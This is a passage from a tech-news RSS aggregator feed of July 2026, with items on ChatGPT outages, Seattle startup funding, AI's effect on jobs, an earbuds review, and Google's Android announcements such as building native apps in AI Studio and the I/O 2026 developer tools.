<a class="slashpop" href="http://twitter.com/home?status=Trump+Threatens+New+Tariffs+Against+EU+Over+Google+Fine%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F24%2F2111219%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F24%2F2111219%2Ftrump-threatens-new-tariffs-against-eu-over-google-fine%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/24/2111219/trump-threatens-new-tariffs-against-eu-over-google-fine?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going on with Seattle startup funding, a Kalshi setback, Impinj’s long game, and a smartphone detox]]></title>
<description><![CDATA[This week on the GeekWire Podcast: Seattle startup funding fell about 40% in the first half of 2026 as AI reshaped the venture market — plus a Kalshi court setback, Impinj's 10 years on the Nasdaq, and could you go without your smartphone for five weeks? Read More]]></description>
<link>https://tsecurity.de/de/3694017/it-nachrichten/whats-going-on-with-seattle-startup-funding-a-kalshi-setback-impinjs-long-game-and-a-smartphone-detox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694017/it-nachrichten/whats-going-on-with-seattle-startup-funding-a-kalshi-setback-impinjs-long-game-and-a-smartphone-detox/</guid>
<pubDate>Sat, 25 Jul 2026 16:16:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="960" height="600" src="https://cdn.geekwire.com/wp-content/uploads/2023/03/GeekWirePodcast.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2023/03/GeekWirePodcast.png 960w, https://cdn.geekwire.com/wp-content/uploads/2023/03/GeekWirePodcast-768x480.png 768w, https://cdn.geekwire.com/wp-content/uploads/2023/03/GeekWirePodcast-630x394.png 630w" sizes="(max-width: 960px) 100vw, 960px"><br>This week on the GeekWire Podcast: Seattle startup funding fell about 40% in the first half of 2026 as AI reshaped the venture market — plus a Kalshi court setback, Impinj's 10 years on the Nasdaq, and could you go without your smartphone for five weeks? <a href="https://www.geekwire.com/2026/whats-going-on-with-seattle-startup-funding-a-kalshi-setback-impinjs-long-game-and-a-smartphone-detox/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI jobs apocalypse probably isn’t coming anytime soon]]></title>
<description><![CDATA[Artificial intelligence  may not deliver on its promise of vast economic opportunity at a price that humanity is willing to payIn March, Anthropic, the cutting-edge artificial intelligence business that gave us the chatbot Claude, published an analysis on the impact of AI on employment, to help u...]]></description>
<link>https://tsecurity.de/de/3693956/it-nachrichten/the-ai-jobs-apocalypse-probably-isnt-coming-anytime-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693956/it-nachrichten/the-ai-jobs-apocalypse-probably-isnt-coming-anytime-soon/</guid>
<pubDate>Sat, 25 Jul 2026 15:28:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence  may not deliver on its promise of vast economic opportunity at a price that humanity is willing to pay</p><p>In March, Anthropic, the cutting-edge artificial intelligence business that gave us the chatbot Claude, <a href="https://www.anthropic.com/research/labor-market-impacts">published an analysis</a> on the impact of AI on employment, to help us assess the claim that intelligent robots were about to redefine human existence, ending demand for human labor.</p><p>Last year in May, Anthropic’s co-founder, Dario Amodei, claimed AI could wipe out half of all entry-level jobs in one to five years. Last January, <a href="https://darioamodei.com/essay/the-adolescence-of-technology#4-player-piano">he told us</a> AI would probably become a “general labor substitute for humans”. In June <a href="https://darioamodei.com/post/policy-on-the-ai-exponential">he said</a> we risk “a world where the economic trade-off dial is stuck on the hypergrowth, hyper-inequality setting”.</p> <a href="https://www.theguardian.com/technology/2026/jul/25/ai-jobs-apocalypse-human-labor">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Too many concurrent requests when opening ChatGPT? You’re not alone]]></title>
<description><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates...]]></description>
<link>https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693856/ios-mac-os/too-many-concurrent-requests-when-opening-chatgpt-youre-not-alone/</guid>
<pubDate>Sat, 25 Jul 2026 13:19:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide.



ChatGPT is currently facing an outage



OpenAI’s official status page confirms elevated error rates across ChatGPT, its APIs, and Codex. The company says it is investigating the issue, although it has not yet shared the exact cause or a recovery timeline.







Users have also reported login failures, missing conversation history, delayed responses, and prompts that fail to send. Reports appear to be coming from several regions, including India and the United States.







The concurrent requests message does not necessarily mean you opened too many chats. During an outage, overloaded servers can display the same error across many accounts.



For now, avoid repeatedly refreshing the page. Check OpenAI’s status page and try ChatGPT again after the service stabilizes.]]></content:encoded>
</item>
<item>
<title><![CDATA['Not the USP I wanted': Nothing’s new Ear (3a) earbuds sound good and the ANC is effective, but they hide a troublesome secret I found it hard to get past during testing]]></title>
<description><![CDATA[Is everything coming up roses for Nothing's new $99 / £99 noise-cancelling earbuds? Depends on whether the USP sits well with you, I think…]]></description>
<link>https://tsecurity.de/de/3693797/it-nachrichten/not-the-usp-i-wanted-nothings-new-ear-3a-earbuds-sound-good-and-the-anc-is-effective-but-they-hide-a-troublesome-secret-i-found-it-hard-to-get-past-during-testing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693797/it-nachrichten/not-the-usp-i-wanted-nothings-new-ear-3a-earbuds-sound-good-and-the-anc-is-effective-but-they-hide-a-troublesome-secret-i-found-it-hard-to-get-past-during-testing/</guid>
<pubDate>Sat, 25 Jul 2026 12:12:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Is everything coming up roses for Nothing's new $99 / £99 noise-cancelling earbuds? Depends on whether the USP sits well with you, I think…]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Confirms ChatGPT is Down Worldwide]]></title>
<description><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. M...]]></description>
<link>https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</guid>
<pubDate>Sat, 25 Jul 2026 11:49:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. Most of what people are describing points to the login or authentication layer rather than the chat model itself.



Users say they get stuck on a loading screen, get signed out in the middle of a conversation, or cannot open their older chats at all. Both free and paid ChatGPT accounts seem to be affected, and the trouble is not limited to the website. Some people on the mobile app have run into the same login problems.



Common symptoms being reported include:




Failed logins or repeated authentication errors



Chat history that will not load



Sessions ending without warning



"Service unavailable" messages when sending a prompt




OpenAI's Response So Far



OpenAI's status page lists the affected services as under investigation. At the same time, the page has flipped between showing an active issue and showing normal operation while engineers work through the fix. This kind of mismatch is common during login related outages, since the sign in system can break down even while the core chatbot keeps running fine underneath it.



This is not the first rough week for ChatGPT. Just two days earlier, on July 23, OpenAI dealt with a separate outage affecting ChatGPT, Codex, and its API that took close to 24 hours to fully resolve. With this new round of complaints landing so soon after that incident, users on social media have started asking why the service has been running into trouble so often lately.



If you cannot get into ChatGPT right now, a few small steps can help before you assume the worst:




Refresh the page, or fully close and reopen the app



Log out and log back in instead of just refreshing



Check status.openai.com for the latest update



Try the mobile app if the website will not load, or the other way around




OpenAI has not shared a root cause or a timeline for a fix yet, and this piece will be updated once more information comes in.]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

